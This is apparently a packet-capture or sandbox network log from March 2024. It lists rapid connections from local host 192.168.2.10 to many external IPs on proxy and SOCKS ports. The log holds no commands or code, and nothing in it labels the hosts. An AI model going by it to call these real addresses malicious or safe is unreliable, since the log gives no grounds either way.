Mar 11, 2024 16:39:44.345283985 CET	80	50220	31.43.179.214	192.168.2.10
Mar 11, 2024 16:39:44.345465899 CET	80	50211	172.67.38.96	192.168.2.10
Mar 11, 2024 16:39:44.345493078 CET	50608	80	192.168.2.10	104.16.109.207
Mar 11, 2024 16:39:44.345505953 CET	80	50211	172.67.38.96	192.168.2.10
Mar 11, 2024 16:39:44.345570087 CET	80	50220	31.43.179.214	192.168.2.10
Mar 11, 2024 16:39:44.345751047 CET	50220	80	192.168.2.10	31.43.179.214
Mar 11, 2024 16:39:44.345922947 CET	50211	80	192.168.2.10	172.67.38.96
Mar 11, 2024 16:39:44.345925093 CET	50220	80	192.168.2.10	31.43.179.214
Mar 11, 2024 16:39:44.345944881 CET	80	50041	172.67.53.215	192.168.2.10
Mar 11, 2024 16:39:44.346081972 CET	80	50211	172.67.38.96	192.168.2.10
Mar 11, 2024 16:39:44.346201897 CET	50211	80	192.168.2.10	172.67.38.96
Mar 11, 2024 16:39:44.346577883 CET	50610	54047	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:44.346726894 CET	50609	8080	192.168.2.10	185.128.153.10
Mar 11, 2024 16:39:44.347414970 CET	50611	80	192.168.2.10	50.174.214.219
Mar 11, 2024 16:39:44.347655058 CET	50612	38242	192.168.2.10	162.144.36.208
Mar 11, 2024 16:39:44.348273039 CET	49776	37876	192.168.2.10	162.241.50.179
Mar 11, 2024 16:39:44.348274946 CET	49882	8000	192.168.2.10	178.128.156.219
Mar 11, 2024 16:39:44.348392963 CET	3128	50205	91.189.177.186	192.168.2.10
Mar 11, 2024 16:39:44.348552942 CET	15673	49933	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.348720074 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.349195957 CET	50613	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.349196911 CET	50614	8901	192.168.2.10	178.23.192.249
Mar 11, 2024 16:39:44.349231958 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.349705935 CET	50615	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.349896908 CET	80	50349	104.25.167.88	192.168.2.10
Mar 11, 2024 16:39:44.350228071 CET	80	50248	50.217.226.44	192.168.2.10
Mar 11, 2024 16:39:44.350255013 CET	50616	27138	192.168.2.10	173.212.209.216
Mar 11, 2024 16:39:44.350384951 CET	50349	80	192.168.2.10	104.25.167.88
Mar 11, 2024 16:39:44.350568056 CET	50349	80	192.168.2.10	104.25.167.88
Mar 11, 2024 16:39:44.350805998 CET	50617	8080	192.168.2.10	1.0.205.87
Mar 11, 2024 16:39:44.351264000 CET	50618	999	192.168.2.10	45.65.138.48
Mar 11, 2024 16:39:44.351535082 CET	80	50358	172.67.231.3	192.168.2.10
Mar 11, 2024 16:39:44.352269888 CET	50619	8004	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:44.352271080 CET	50621	64312	192.168.2.10	104.128.103.32
Mar 11, 2024 16:39:44.352272034 CET	50620	15303	192.168.2.10	184.178.172.5
Mar 11, 2024 16:39:44.352348089 CET	50358	80	192.168.2.10	172.67.231.3
Mar 11, 2024 16:39:44.352615118 CET	50358	80	192.168.2.10	172.67.231.3
Mar 11, 2024 16:39:44.352786064 CET	8080	50212	66.225.246.238	192.168.2.10
Mar 11, 2024 16:39:44.353035927 CET	8080	50212	66.225.246.238	192.168.2.10
Mar 11, 2024 16:39:44.353548050 CET	8080	50212	66.225.246.238	192.168.2.10
Mar 11, 2024 16:39:44.353571892 CET	50622	1111	192.168.2.10	103.189.249.196
Mar 11, 2024 16:39:44.353679895 CET	50212	8080	192.168.2.10	66.225.246.238
Mar 11, 2024 16:39:44.353679895 CET	50623	3128	192.168.2.10	155.185.15.56
Mar 11, 2024 16:39:44.354053974 CET	50624	8079	192.168.2.10	94.154.152.4
Mar 11, 2024 16:39:44.354557037 CET	80	50381	172.67.3.98	192.168.2.10
Mar 11, 2024 16:39:44.354581118 CET	50625	8080	192.168.2.10	189.203.201.146
Mar 11, 2024 16:39:44.354607105 CET	32221	49787	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:44.354867935 CET	80	50384	104.24.193.186	192.168.2.10
Mar 11, 2024 16:39:44.354882002 CET	7891	50230	43.129.228.46	192.168.2.10
Mar 11, 2024 16:39:44.354893923 CET	50381	80	192.168.2.10	172.67.3.98
Mar 11, 2024 16:39:44.355142117 CET	50381	80	192.168.2.10	172.67.3.98
Mar 11, 2024 16:39:44.355218887 CET	50384	80	192.168.2.10	104.24.193.186
Mar 11, 2024 16:39:44.355231047 CET	50230	7891	192.168.2.10	43.129.228.46
Mar 11, 2024 16:39:44.355235100 CET	50384	80	192.168.2.10	104.24.193.186
Mar 11, 2024 16:39:44.355453968 CET	50230	7891	192.168.2.10	43.129.228.46
Mar 11, 2024 16:39:44.355587959 CET	9401	49821	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:44.355613947 CET	50626	999	192.168.2.10	190.97.238.94
Mar 11, 2024 16:39:44.356229067 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:44.356254101 CET	50627	25675	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.356254101 CET	50628	8080	192.168.2.10	45.252.79.48
Mar 11, 2024 16:39:44.356483936 CET	3128	50265	13.40.239.130	192.168.2.10
Mar 11, 2024 16:39:44.356569052 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:44.356761932 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:44.356761932 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:44.357309103 CET	80	50392	104.25.81.82	192.168.2.10
Mar 11, 2024 16:39:44.357687950 CET	50392	80	192.168.2.10	104.25.81.82
Mar 11, 2024 16:39:44.358124971 CET	50392	80	192.168.2.10	104.25.81.82
Mar 11, 2024 16:39:44.358124971 CET	50629	8001	192.168.2.10	213.171.214.19
Mar 11, 2024 16:39:44.358195066 CET	80	50241	141.147.33.121	192.168.2.10
Mar 11, 2024 16:39:44.358536959 CET	80	50237	104.17.171.235	192.168.2.10
Mar 11, 2024 16:39:44.358603954 CET	50630	4153	192.168.2.10	185.171.55.218
Mar 11, 2024 16:39:44.358611107 CET	80	50237	104.17.171.235	192.168.2.10
Mar 11, 2024 16:39:44.358793020 CET	50237	80	192.168.2.10	104.17.171.235
Mar 11, 2024 16:39:44.359618902 CET	50631	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:44.359618902 CET	50632	2016	192.168.2.10	103.174.178.137
Mar 11, 2024 16:39:44.359715939 CET	80	50237	104.17.171.235	192.168.2.10
Mar 11, 2024 16:39:44.359734058 CET	80	50257	82.64.77.30	192.168.2.10
Mar 11, 2024 16:39:44.360006094 CET	50633	16379	192.168.2.10	51.15.234.222
Mar 11, 2024 16:39:44.360048056 CET	50237	80	192.168.2.10	104.17.171.235
Mar 11, 2024 16:39:44.360052109 CET	50257	80	192.168.2.10	82.64.77.30
Mar 11, 2024 16:39:44.360385895 CET	50257	80	192.168.2.10	82.64.77.30
Mar 11, 2024 16:39:44.360390902 CET	50634	4153	192.168.2.10	190.2.110.7
Mar 11, 2024 16:39:44.361673117 CET	50635	5566	192.168.2.10	195.201.246.166
Mar 11, 2024 16:39:44.361673117 CET	50636	1080	192.168.2.10	77.37.155.85
Mar 11, 2024 16:39:44.362107038 CET	8888	50255	3.25.234.175	192.168.2.10
Mar 11, 2024 16:39:44.362199068 CET	50637	16379	192.168.2.10	51.158.124.167
Mar 11, 2024 16:39:44.363241911 CET	50639	4145	192.168.2.10	202.124.46.65
Mar 11, 2024 16:39:44.363246918 CET	50640	42624	192.168.2.10	162.214.164.200
Mar 11, 2024 16:39:44.363249063 CET	50638	80	192.168.2.10	37.120.187.59
Mar 11, 2024 16:39:44.363290071 CET	8181	50236	43.132.184.228	192.168.2.10
Mar 11, 2024 16:39:44.363316059 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:44.363559961 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:44.363738060 CET	80	50246	172.67.182.126	192.168.2.10
Mar 11, 2024 16:39:44.363792896 CET	49890	80	192.168.2.10	50.168.72.112
Mar 11, 2024 16:39:44.363795996 CET	49779	8080	192.168.2.10	149.126.101.162
Mar 11, 2024 16:39:44.363797903 CET	80	50246	172.67.182.126	192.168.2.10
Mar 11, 2024 16:39:44.363801003 CET	49772	15673	192.168.2.10	43.155.165.196
Mar 11, 2024 16:39:44.363811970 CET	49781	4145	192.168.2.10	212.231.197.29
Mar 11, 2024 16:39:44.363814116 CET	49798	3129	192.168.2.10	115.248.66.131
Mar 11, 2024 16:39:44.363817930 CET	49778	999	192.168.2.10	131.100.48.75
Mar 11, 2024 16:39:44.364121914 CET	80	50246	172.67.182.126	192.168.2.10
Mar 11, 2024 16:39:44.364325047 CET	3129	49719	20.219.180.149	192.168.2.10
Mar 11, 2024 16:39:44.364351034 CET	50246	80	192.168.2.10	172.67.182.126
Mar 11, 2024 16:39:44.364430904 CET	50246	80	192.168.2.10	172.67.182.126
Mar 11, 2024 16:39:44.365730047 CET	22500	50301	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.365761042 CET	50641	8080	192.168.2.10	139.5.73.71
Mar 11, 2024 16:39:44.365890980 CET	50301	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.366070032 CET	50301	22500	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.368695021 CET	7777	49880	123.30.154.171	192.168.2.10
Mar 11, 2024 16:39:44.369510889 CET	7777	49880	123.30.154.171	192.168.2.10
Mar 11, 2024 16:39:44.369605064 CET	7777	49880	123.30.154.171	192.168.2.10
Mar 11, 2024 16:39:44.369862080 CET	49880	7777	192.168.2.10	123.30.154.171
Mar 11, 2024 16:39:44.370093107 CET	49880	7777	192.168.2.10	123.30.154.171
Mar 11, 2024 16:39:44.371825933 CET	4153	50102	203.76.117.74	192.168.2.10
Mar 11, 2024 16:39:44.371982098 CET	80	50222	8.222.239.209	192.168.2.10
Mar 11, 2024 16:39:44.372145891 CET	50222	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:44.372406960 CET	50222	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:44.375937939 CET	50643	48085	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.375941992 CET	50642	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.376280069 CET	50644	8080	192.168.2.10	165.16.46.193
Mar 11, 2024 16:39:44.376343012 CET	80	50074	185.238.228.67	192.168.2.10
Mar 11, 2024 16:39:44.376604080 CET	50645	40571	192.168.2.10	216.10.242.18
Mar 11, 2024 16:39:44.377160072 CET	50646	9125	192.168.2.10	178.253.201.11
Mar 11, 2024 16:39:44.377161026 CET	50647	4153	192.168.2.10	202.44.228.36
Mar 11, 2024 16:39:44.377229929 CET	50648	1976	192.168.2.10	41.65.55.10
Mar 11, 2024 16:39:44.377374887 CET	80	50270	172.67.181.129	192.168.2.10
Mar 11, 2024 16:39:44.377404928 CET	80	50270	172.67.181.129	192.168.2.10
Mar 11, 2024 16:39:44.377882004 CET	80	50270	172.67.181.129	192.168.2.10
Mar 11, 2024 16:39:44.377921104 CET	50649	80	192.168.2.10	50.173.140.150
Mar 11, 2024 16:39:44.377966881 CET	50270	80	192.168.2.10	172.67.181.129
Mar 11, 2024 16:39:44.378012896 CET	50270	80	192.168.2.10	172.67.181.129
Mar 11, 2024 16:39:44.378407001 CET	18080	49937	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:44.378436089 CET	50650	80	192.168.2.10	162.214.165.203
Mar 11, 2024 16:39:44.378508091 CET	50651	10801	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.378891945 CET	50652	8182	192.168.2.10	120.89.91.222
Mar 11, 2024 16:39:44.378891945 CET	50654	29718	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.378952980 CET	50653	8080	192.168.2.10	181.212.45.226
Mar 11, 2024 16:39:44.379060030 CET	50655	80	192.168.2.10	3.24.178.81
Mar 11, 2024 16:39:44.379362106 CET	50656	80	192.168.2.10	104.16.108.42
Mar 11, 2024 16:39:44.379367113 CET	50657	23500	192.168.2.10	109.73.184.94
Mar 11, 2024 16:39:44.379367113 CET	50658	80	192.168.2.10	34.154.161.152
Mar 11, 2024 16:39:44.379448891 CET	49918	80	192.168.2.10	50.175.212.74
Mar 11, 2024 16:39:44.379453897 CET	49786	5678	192.168.2.10	186.248.87.172
Mar 11, 2024 16:39:44.379591942 CET	50659	80	192.168.2.10	188.165.213.106
Mar 11, 2024 16:39:44.380014896 CET	50663	29197	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.380014896 CET	50660	999	192.168.2.10	177.93.45.156
Mar 11, 2024 16:39:44.380016088 CET	50662	4444	192.168.2.10	193.8.87.43
Mar 11, 2024 16:39:44.380348921 CET	50664	4153	192.168.2.10	187.122.105.181
Mar 11, 2024 16:39:44.380615950 CET	49614	50225	206.189.145.23	192.168.2.10
Mar 11, 2024 16:39:44.380712032 CET	10003	49992	147.75.34.86	192.168.2.10
Mar 11, 2024 16:39:44.380724907 CET	10003	49992	147.75.34.86	192.168.2.10
Mar 11, 2024 16:39:44.380812883 CET	50225	49614	192.168.2.10	206.189.145.23
Mar 11, 2024 16:39:44.380886078 CET	49992	10003	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:44.383274078 CET	80	50440	172.67.14.237	192.168.2.10
Mar 11, 2024 16:39:44.383404970 CET	50440	80	192.168.2.10	172.67.14.237
Mar 11, 2024 16:39:44.383785963 CET	80	50442	185.238.228.240	192.168.2.10
Mar 11, 2024 16:39:44.385067940 CET	14282	50067	192.252.208.70	192.168.2.10
Mar 11, 2024 16:39:44.385080099 CET	14282	50067	192.252.208.70	192.168.2.10
Mar 11, 2024 16:39:44.385195971 CET	50442	80	192.168.2.10	185.238.228.240
Mar 11, 2024 16:39:44.385420084 CET	49783	80	192.168.2.10	93.188.161.84
Mar 11, 2024 16:39:44.385816097 CET	8080	50367	5.78.89.192	192.168.2.10
Mar 11, 2024 16:39:44.387201071 CET	8000	50258	128.199.252.41	192.168.2.10
Mar 11, 2024 16:39:44.387303114 CET	50258	8000	192.168.2.10	128.199.252.41
Mar 11, 2024 16:39:44.389533997 CET	4145	50439	184.178.172.3	192.168.2.10
Mar 11, 2024 16:39:44.391709089 CET	50439	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:44.392354965 CET	48553	50273	203.96.177.211	192.168.2.10
Mar 11, 2024 16:39:44.392651081 CET	50273	48553	192.168.2.10	203.96.177.211
Mar 11, 2024 16:39:44.393167973 CET	33590	49736	85.120.30.66	192.168.2.10
Mar 11, 2024 16:39:44.393182039 CET	4145	50286	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.393277884 CET	3128	49822	15.236.106.236	192.168.2.10
Mar 11, 2024 16:39:44.393295050 CET	50286	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:44.394088030 CET	31679	50287	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.394689083 CET	50287	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.394712925 CET	4145	50288	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.394807100 CET	50288	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.395045042 CET	49785	80	192.168.2.10	31.207.38.66
Mar 11, 2024 16:39:44.395045042 CET	49789	31908	192.168.2.10	64.227.108.25
Mar 11, 2024 16:39:44.395112991 CET	49915	5775	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:44.397723913 CET	60200	50374	162.241.137.197	192.168.2.10
Mar 11, 2024 16:39:44.401916027 CET	15673	50393	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:44.402362108 CET	3129	50178	20.204.214.79	192.168.2.10
Mar 11, 2024 16:39:44.402554035 CET	50393	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.402965069 CET	8888	50011	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.404398918 CET	8888	50011	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:44.404515982 CET	50011	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.406784058 CET	80	50449	172.67.209.12	192.168.2.10
Mar 11, 2024 16:39:44.406888962 CET	50449	80	192.168.2.10	172.67.209.12
Mar 11, 2024 16:39:44.408169985 CET	80	50092	23.227.38.198	192.168.2.10
Mar 11, 2024 16:39:44.408525944 CET	80	50282	104.17.166.210	192.168.2.10
Mar 11, 2024 16:39:44.408642054 CET	80	50282	104.17.166.210	192.168.2.10
Mar 11, 2024 16:39:44.408854008 CET	80	50282	104.17.166.210	192.168.2.10
Mar 11, 2024 16:39:44.409200907 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:44.409271955 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:44.409277916 CET	50282	80	192.168.2.10	104.17.166.210
Mar 11, 2024 16:39:44.409394026 CET	3629	50272	95.31.42.199	192.168.2.10
Mar 11, 2024 16:39:44.409406900 CET	80	50453	104.20.103.68	192.168.2.10
Mar 11, 2024 16:39:44.409502983 CET	50272	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.409504890 CET	50453	80	192.168.2.10	104.20.103.68
Mar 11, 2024 16:39:44.410670996 CET	49788	8080	192.168.2.10	103.114.53.2
Mar 11, 2024 16:39:44.410685062 CET	49887	80	192.168.2.10	50.174.145.11
Mar 11, 2024 16:39:44.410685062 CET	49891	80	192.168.2.10	50.223.239.166
Mar 11, 2024 16:39:44.410685062 CET	49790	999	192.168.2.10	45.178.133.60
Mar 11, 2024 16:39:44.410685062 CET	49791	5038	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.410948992 CET	8080	50264	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:44.410968065 CET	49793	999	192.168.2.10	201.71.3.60
Mar 11, 2024 16:39:44.411277056 CET	50264	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.415287018 CET	80	50464	104.16.105.142	192.168.2.10
Mar 11, 2024 16:39:44.415343046 CET	50661	62291	192.168.2.10	161.97.170.209
Mar 11, 2024 16:39:44.415400028 CET	50464	80	192.168.2.10	104.16.105.142
Mar 11, 2024 16:39:44.415505886 CET	8081	49801	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.415811062 CET	8081	49801	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.416006088 CET	4145	50059	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.416017056 CET	4145	50059	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:44.416049957 CET	8081	50275	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.416168928 CET	50275	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.416313887 CET	3128	50174	41.223.232.117	192.168.2.10
Mar 11, 2024 16:39:44.416481972 CET	50174	3128	192.168.2.10	41.223.232.117
Mar 11, 2024 16:39:44.416934013 CET	50666	2536	192.168.2.10	148.72.206.84
Mar 11, 2024 16:39:44.416937113 CET	50665	8080	192.168.2.10	102.214.104.56
Mar 11, 2024 16:39:44.417191982 CET	50667	3128	192.168.2.10	201.243.82.157
Mar 11, 2024 16:39:44.417515993 CET	50287	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.417517900 CET	50668	37920	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:44.418096066 CET	50258	8000	192.168.2.10	128.199.252.41
Mar 11, 2024 16:39:44.418559074 CET	50669	31571	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:44.418617964 CET	50671	1080	192.168.2.10	195.98.93.234
Mar 11, 2024 16:39:44.418617964 CET	50670	80	192.168.2.10	172.67.181.97
Mar 11, 2024 16:39:44.418819904 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:44.418853045 CET	50286	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:44.419617891 CET	6001	50383	20.106.146.212	192.168.2.10
Mar 11, 2024 16:39:44.419636965 CET	50672	14282	192.168.2.10	192.252.208.70
Mar 11, 2024 16:39:44.419693947 CET	50383	6001	192.168.2.10	20.106.146.212
Mar 11, 2024 16:39:44.419693947 CET	50440	80	192.168.2.10	172.67.14.237
Mar 11, 2024 16:39:44.419755936 CET	50442	80	192.168.2.10	185.238.228.240
Mar 11, 2024 16:39:44.419857979 CET	50288	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.419944048 CET	50011	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.419954062 CET	50393	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.420140028 CET	50673	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:44.420141935 CET	49992	10003	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:44.420336008 CET	50449	80	192.168.2.10	172.67.209.12
Mar 11, 2024 16:39:44.420351028 CET	50282	80	192.168.2.10	104.17.166.210
Mar 11, 2024 16:39:44.420537949 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:44.420541048 CET	50453	80	192.168.2.10	104.20.103.68
Mar 11, 2024 16:39:44.420542002 CET	50272	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.420703888 CET	50464	80	192.168.2.10	104.16.105.142
Mar 11, 2024 16:39:44.420986891 CET	50275	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.420999050 CET	50174	3128	192.168.2.10	41.223.232.117
Mar 11, 2024 16:39:44.420999050 CET	50264	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.421160936 CET	50383	6001	192.168.2.10	20.106.146.212
Mar 11, 2024 16:39:44.421160936 CET	50674	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:44.421578884 CET	50675	26087	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:44.421587944 CET	50273	48553	192.168.2.10	203.96.177.211
Mar 11, 2024 16:39:44.421689034 CET	24815	50279	95.217.104.21	192.168.2.10
Mar 11, 2024 16:39:44.421715021 CET	50676	36946	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.422282934 CET	80	50473	104.24.35.152	192.168.2.10
Mar 11, 2024 16:39:44.422318935 CET	50677	52173	192.168.2.10	31.24.44.92
Mar 11, 2024 16:39:44.422549963 CET	27391	50466	72.195.34.60	192.168.2.10
Mar 11, 2024 16:39:44.422569990 CET	50678	4153	192.168.2.10	170.81.108.46
Mar 11, 2024 16:39:44.422569990 CET	50680	3128	192.168.2.10	192.46.229.19
Mar 11, 2024 16:39:44.422574043 CET	50679	48200	192.168.2.10	43.230.196.98
Mar 11, 2024 16:39:44.422647953 CET	50466	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:44.422832966 CET	50225	49614	192.168.2.10	206.189.145.23
Mar 11, 2024 16:39:44.422833920 CET	50473	80	192.168.2.10	104.24.35.152
Mar 11, 2024 16:39:44.422833920 CET	50473	80	192.168.2.10	104.24.35.152
Mar 11, 2024 16:39:44.423274994 CET	50681	52858	192.168.2.10	195.177.217.131
Mar 11, 2024 16:39:44.423741102 CET	5432	50400	45.196.151.84	192.168.2.10
Mar 11, 2024 16:39:44.423765898 CET	50682	61344	192.168.2.10	75.119.145.169
Mar 11, 2024 16:39:44.423823118 CET	4145	50433	199.58.185.9	192.168.2.10
Mar 11, 2024 16:39:44.423846960 CET	50400	5432	192.168.2.10	45.196.151.84
Mar 11, 2024 16:39:44.424079895 CET	50683	80	192.168.2.10	50.174.214.222
Mar 11, 2024 16:39:44.424201965 CET	50400	5432	192.168.2.10	45.196.151.84
Mar 11, 2024 16:39:44.425479889 CET	50684	80	192.168.2.10	104.25.42.178
Mar 11, 2024 16:39:44.425479889 CET	50685	8080	192.168.2.10	160.119.148.190
Mar 11, 2024 16:39:44.426301956 CET	49792	999	192.168.2.10	200.106.184.97
Mar 11, 2024 16:39:44.426305056 CET	49802	8080	192.168.2.10	14.207.41.71
Mar 11, 2024 16:39:44.426317930 CET	49800	37400	192.168.2.10	171.244.140.160
Mar 11, 2024 16:39:44.426317930 CET	49803	3128	192.168.2.10	196.202.40.17
Mar 11, 2024 16:39:44.426482916 CET	49805	999	192.168.2.10	157.100.63.69
Mar 11, 2024 16:39:44.427109003 CET	19599	50390	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:44.427908897 CET	80	50487	104.27.83.183	192.168.2.10
Mar 11, 2024 16:39:44.428066969 CET	50487	80	192.168.2.10	104.27.83.183
Mar 11, 2024 16:39:44.432224989 CET	8089	50192	114.232.109.43	192.168.2.10
Mar 11, 2024 16:39:44.432576895 CET	26315	49815	72.10.160.171	192.168.2.10
Mar 11, 2024 16:39:44.432934046 CET	41746	50406	51.79.87.144	192.168.2.10
Mar 11, 2024 16:39:44.433115005 CET	50406	41746	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.433557987 CET	8080	50195	103.159.66.61	192.168.2.10
Mar 11, 2024 16:39:44.433917046 CET	9080	50200	154.205.152.96	192.168.2.10
Mar 11, 2024 16:39:44.434031963 CET	50195	8080	192.168.2.10	103.159.66.61
Mar 11, 2024 16:39:44.434334993 CET	8080	50198	46.209.54.102	192.168.2.10
Mar 11, 2024 16:39:44.437688112 CET	50195	8080	192.168.2.10	103.159.66.61
Mar 11, 2024 16:39:44.437944889 CET	50406	41746	192.168.2.10	51.79.87.144
Mar 11, 2024 16:39:44.438276052 CET	50686	44550	192.168.2.10	190.144.224.182
Mar 11, 2024 16:39:44.438601971 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.438659906 CET	9002	50087	111.59.4.88	192.168.2.10
Mar 11, 2024 16:39:44.438693047 CET	50688	8080	192.168.2.10	68.188.93.171
Mar 11, 2024 16:39:44.438857079 CET	50689	3128	192.168.2.10	176.58.96.11
Mar 11, 2024 16:39:44.438946009 CET	50087	9002	192.168.2.10	111.59.4.88
Mar 11, 2024 16:39:44.439029932 CET	50087	9002	192.168.2.10	111.59.4.88
Mar 11, 2024 16:39:44.439207077 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:44.439260006 CET	50690	999	192.168.2.10	201.71.3.61
Mar 11, 2024 16:39:44.439443111 CET	50487	80	192.168.2.10	104.27.83.183
Mar 11, 2024 16:39:44.441005945 CET	50693	80	192.168.2.10	50.230.222.202
Mar 11, 2024 16:39:44.441005945 CET	50691	80	192.168.2.10	104.19.225.70
Mar 11, 2024 16:39:44.441010952 CET	50692	8080	192.168.2.10	51.145.176.250
Mar 11, 2024 16:39:44.441308975 CET	50694	24001	192.168.2.10	139.196.186.157
Mar 11, 2024 16:39:44.441926956 CET	49804	1080	192.168.2.10	185.82.87.30
Mar 11, 2024 16:39:44.441935062 CET	49799	45876	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:44.441946030 CET	49809	1111	192.168.2.10	103.8.164.16
Mar 11, 2024 16:39:44.441948891 CET	49810	5678	192.168.2.10	193.106.57.96
Mar 11, 2024 16:39:44.441948891 CET	49833	3129	192.168.2.10	20.204.212.76
Mar 11, 2024 16:39:44.441962957 CET	50695	8080	192.168.2.10	151.22.181.205
Mar 11, 2024 16:39:44.441966057 CET	49926	5678	192.168.2.10	181.78.13.91
Mar 11, 2024 16:39:44.442589998 CET	50697	8080	192.168.2.10	188.132.222.7
Mar 11, 2024 16:39:44.442591906 CET	50696	1080	192.168.2.10	103.140.205.133
Mar 11, 2024 16:39:44.442961931 CET	49775	50190	138.201.21.232	192.168.2.10
Mar 11, 2024 16:39:44.443016052 CET	1080	50249	54.212.22.168	192.168.2.10
Mar 11, 2024 16:39:44.443018913 CET	50698	27207	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:44.443483114 CET	50699	35396	192.168.2.10	192.163.200.200
Mar 11, 2024 16:39:44.443979025 CET	24543	50422	209.159.153.19	192.168.2.10
Mar 11, 2024 16:39:44.444010019 CET	50700	4145	192.168.2.10	198.8.94.170
Mar 11, 2024 16:39:44.444016933 CET	50701	5678	192.168.2.10	115.243.142.185
Mar 11, 2024 16:39:44.444075108 CET	50422	24543	192.168.2.10	209.159.153.19
Mar 11, 2024 16:39:44.444509029 CET	50422	24543	192.168.2.10	209.159.153.19
Mar 11, 2024 16:39:44.444569111 CET	1080	50249	54.212.22.168	192.168.2.10
Mar 11, 2024 16:39:44.445147038 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.445564985 CET	80	49777	50.174.145.9	192.168.2.10
Mar 11, 2024 16:39:44.445702076 CET	50703	4145	192.168.2.10	61.7.183.101
Mar 11, 2024 16:39:44.446012020 CET	50704	4145	192.168.2.10	72.210.221.223
Mar 11, 2024 16:39:44.446290970 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:44.446687937 CET	8000	50285	167.172.79.17	192.168.2.10
Mar 11, 2024 16:39:44.446846962 CET	50706	2222	192.168.2.10	223.25.100.42
Mar 11, 2024 16:39:44.447638035 CET	50707	4145	192.168.2.10	72.195.34.41
Mar 11, 2024 16:39:44.447639942 CET	50708	18080	192.168.2.10	152.32.130.117
Mar 11, 2024 16:39:44.448136091 CET	50709	8083	192.168.2.10	103.84.177.27
Mar 11, 2024 16:39:44.449239969 CET	50710	13087	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:44.449284077 CET	50711	8187	192.168.2.10	176.8.230.197
